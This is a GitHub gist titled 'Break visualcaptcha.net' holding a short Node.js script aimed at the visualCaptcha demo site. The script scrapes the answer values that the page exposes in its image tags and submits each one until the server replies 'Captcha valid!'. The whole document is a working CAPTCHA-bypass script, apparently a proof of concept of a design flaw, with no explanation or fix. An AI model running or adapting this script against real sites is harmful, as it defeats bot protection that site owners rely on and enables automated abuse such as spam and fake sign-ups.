Skip to content

Instantly share code, notes, and snippets.

@ipeychev
Last active December 21, 2015 02:19
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ipeychev/6234050 to your computer and use it in GitHub Desktop.
Save ipeychev/6234050 to your computer and use it in GitHub Desktop.
Break visualcaptcha.net
var request = require('request')
request = request.defaults({jar: true});
var URI = 'http://demo.visualcaptcha.net/';
request.get(URI, function (error, response, body) {
if (!error && response.statusCode === 200) {
var arr,
imgData,
formActionRegExp = /<form.*action="([^"]+)"/,
action = formActionRegExp.exec(body)[1],
imgRegExp = /<img.*data-value="([^"]+)"/g,
match = imgRegExp.exec(body);
while (match != null) {
imgData = match[1];
console.log(match[1]);
match = imgRegExp.exec(body);
console.log(URI + action);
request.post(
URI + action,
{
form: {
'captcha-value': imgData,
form_submit: 1
}
},
function (error, response, body) {
if (!error && response.statusCode === 200) {
if (body.indexOf('Captcha valid!') > 0){
console.log(body);
}
}
}
);
}
}
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment